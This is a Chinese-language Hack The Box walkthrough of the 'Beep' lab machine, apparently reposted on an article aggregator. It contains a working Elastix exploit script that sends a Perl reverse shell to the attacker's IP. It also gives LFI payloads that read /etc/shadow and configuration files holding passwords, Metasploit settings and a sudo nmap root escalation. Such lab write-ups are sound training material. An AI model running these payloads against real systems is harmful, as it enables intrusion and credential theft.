【HTB系列】Beep

2023-12-12 23:58
文章标签 系列 htb beep

本文主要是介绍【HTB系列】Beep,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这次挑战的是 HTB 的第5台靶机:Beep,评分很高,难度中等

靶机描述

Beep 运行了大量的服务,这对正确发掘入口点有一定的挑战,由于存在大量的攻击向量,或许会让你不知所措,幸运地是,有多种方法可以渗透此系统。

技能收获

  • Web-fuzzing

  • LFI

  • RCE

  • Kali Tool:sslscan / svwar / searchsploit

  • Nmap Privilege Escalation

  • Elastix / FreeFBX

  • VoIP / SIP

信息收集

基本信息

Kali ip :10.10.14.23

Lameip:10.10.10.7

端口扫描

nmap -T4 -A -p- -v 10.10.10.7

确实,开放了不少端口和服务

重点关注几个常见服务 22(ssh)、80(apache)、443(https)、3306(mysql)、10000(httpd)

目录枚举

访问 http://10.10.10.7:80 无反应,maybe it doesn't work

于是枚举https的web应用

dirb
dirb https://10.10.10.7

dirb 枚举失效,看来 ssl 支持不理想?

dirbuster
dirbuster https://10.10.10.7

存在大量的目录、后台管理程序,慢慢研究

漏洞发现

sslscan

sslscan 10.10.10.7 

协议层无法突破,到web应用层寻找突破口

Elastix

访问 https://10.10.10.7:443 ,返回登录页面

Beep靶机使用了 Elastix 系统

使用默认用户密码尝试,未果

Username: admin
Password: palosanto

搜索一下 Elastix 系统的历史漏洞

漏洞利用

入口一

参考第一条"代码执行漏洞",https://www.exploit-db.com/exploits/37637

exp 修改如下,保存为 cmd.py

import urllib
import ssl
rhost="10.10.10.7"
lhost="10.10.14.15"
lport=4444
extension="233"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Reverse shell payload
url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
urllib.urlopen(url, context=ctx)

我们需要使用定位到本地的 SIP extension ,使用Kali自带工具 svwar

$ svwar -m INVITE -e100-300 10.10.10.7
| Extension | Authentication |
------------------------------
| 233       | reqauth        |

此时,将以上脚本的 etension 修改为233

从之前 sslscan 的扫描结果我们看到 Beep 只支持 TLSv1.0,因此我们需要修改 Kali 的openssl配置文件

vim /etc/ssl/openssl.cnf
#将
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
#修改为
[system_default_sect]
MinProtocol = None
CipherString = DEFAULT

此时,运行 cmd.py ,nc开启监听,获得反弹shell

至于提权,该 exp 已经有所描述了

sudo nmap --interactive
!sh

至此完成入口一的利用过程

入口二

参考第二条"文件包含漏洞",https://www.exploit-db.com/exploits/37637

漏洞简介

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.
Elastix 2.2.0 is vulnerable; other versions may also be affected. 

关键利用点

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

读取到 amportal.conf,该文件为Elastix / freepbx连接ami的用户信息配置文件

从之前的目录枚举结果中可以看到,vtigercrm 目录存在且可访问

vTiger CRM是一个集成的客户关系管理(CRM)应用程序,可以在Intranet上或使用浏览器从Internet上使用。

于是访问链接

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

暴露了 amp 数据库用户密码信息

以上暴露的密码,登陆后台

admin
jEhdIekWmdjE

成功登录

考虑到密码多用的习惯,尝试ssh root用户以刚才admin的密码远程连接,事实确实如此

至此完成入口二的利用过程

入口三

访问 https://10.10.10.7/vtigercrm

vTiger CRM 的版本为 5.1.0

其实入口二中的 vtigercrm 程序还存在其它可利用的方式

searchsploit vtiger

正好发现该版本存在的一个缺陷,也是 LFI

查看详细信息

searchsploit -x 18770.txt

payload 如下

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00

暴露 /etc/passwd

暴露用户连接信息配置文件 /etc/amportal.conf

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

同样可以暴露ami的用户配置文件 /etc/asterisk/manager.conf

参考:https://www.vtiger.com/docs/asterisk-integration

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00

入口四

关于入口二和入口三,如果web程序的密码和系统密码不存在复用的话,怎么办?

metasploit中集成了 vtigercrm v5.1.0的一些缺陷,演示如下

search vtigercrm

使用 exploit/multi/http/vtigerphpexec,失败

使用 exploit/multi/http/vtigersoapupload,成功

use exploit/multi/http/vtiger_soap_upload
set RHOSTS 10.10.10.7
set SSL true
set RPORT 443
set LHOST 10.10.14.23

至此成功发现 user.txt ,下一步想办法权限提升

命中Nmap,以root权限执行且无需认证

较早版本的Nmap(2.02至5.21)具有交互模式,该模式允许用户执行Shell命令

由于Nmap在以root特权执行的二进制文件列表中,因此可以使用交互式控制台来以相同的特权运行shell

sudo nmap --interactive
!sh

至此完成

新书:《内网安全攻防:渗透测试实战指南》火爆上市!

购买链接:https://item.jd.com/12743210.html

Ms08067安全实验室

专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,2019年11月出版《内网安全攻防:渗透测试实战指南》目前在编Python渗透测试,JAVA代码审计和逆向工程等方面书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:www.ms08067.com

这篇关于【HTB系列】Beep的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/486396

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

科研绘图系列:R语言扩展物种堆积图(Extended Stacked Barplot)

介绍 R语言的扩展物种堆积图是一种数据可视化工具,它不仅展示了物种的堆积结果,还整合了不同样本分组之间的差异性分析结果。这种图形表示方法能够直观地比较不同物种在各个分组中的显著性差异,为研究者提供了一种有效的数据解读方式。 加载R包 knitr::opts_chunk$set(warning = F, message = F)library(tidyverse)library(phyl

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

flume系列之:查看flume系统日志、查看统计flume日志类型、查看flume日志

遍历指定目录下多个文件查找指定内容 服务器系统日志会记录flume相关日志 cat /var/log/messages |grep -i oom 查找系统日志中关于flume的指定日志 import osdef search_string_in_files(directory, search_string):count = 0

GPT系列之:GPT-1,GPT-2,GPT-3详细解读

一、GPT1 论文:Improving Language Understanding by Generative Pre-Training 链接:https://cdn.openai.com/research-covers/languageunsupervised/language_understanding_paper.pdf 启发点:生成loss和微调loss同时作用,让下游任务来适应预训

Java基础回顾系列-第七天-高级编程之IO

Java基础回顾系列-第七天-高级编程之IO 文件操作字节流与字符流OutputStream字节输出流FileOutputStream InputStream字节输入流FileInputStream Writer字符输出流FileWriter Reader字符输入流字节流与字符流的区别转换流InputStreamReaderOutputStreamWriter 文件复制 字符编码内存操作流(

Java基础回顾系列-第五天-高级编程之API类库

Java基础回顾系列-第五天-高级编程之API类库 Java基础类库StringBufferStringBuilderStringCharSequence接口AutoCloseable接口RuntimeSystemCleaner对象克隆 数字操作类Math数学计算类Random随机数生成类BigInteger/BigDecimal大数字操作类 日期操作类DateSimpleDateForma

Java基础回顾系列-第三天-Lambda表达式

Java基础回顾系列-第三天-Lambda表达式 Lambda表达式方法引用引用静态方法引用实例化对象的方法引用特定类型的方法引用构造方法 内建函数式接口Function基础接口DoubleToIntFunction 类型转换接口Consumer消费型函数式接口Supplier供给型函数式接口Predicate断言型函数式接口 Stream API 该篇博文需重点了解:内建函数式

Java基础回顾系列-第二天-面向对象编程

面向对象编程 Java类核心开发结构面向对象封装继承多态 抽象类abstract接口interface抽象类与接口的区别深入分析类与对象内存分析 继承extends重写(Override)与重载(Overload)重写(Override)重载(Overload)重写与重载之间的区别总结 this关键字static关键字static变量static方法static代码块 代码块String类特

Java基础回顾系列-第六天-Java集合

Java基础回顾系列-第六天-Java集合 集合概述数组的弊端集合框架的优点Java集合关系图集合框架体系图java.util.Collection接口 List集合java.util.List接口java.util.ArrayListjava.util.LinkedListjava.util.Vector Set集合java.util.Set接口java.util.HashSetjava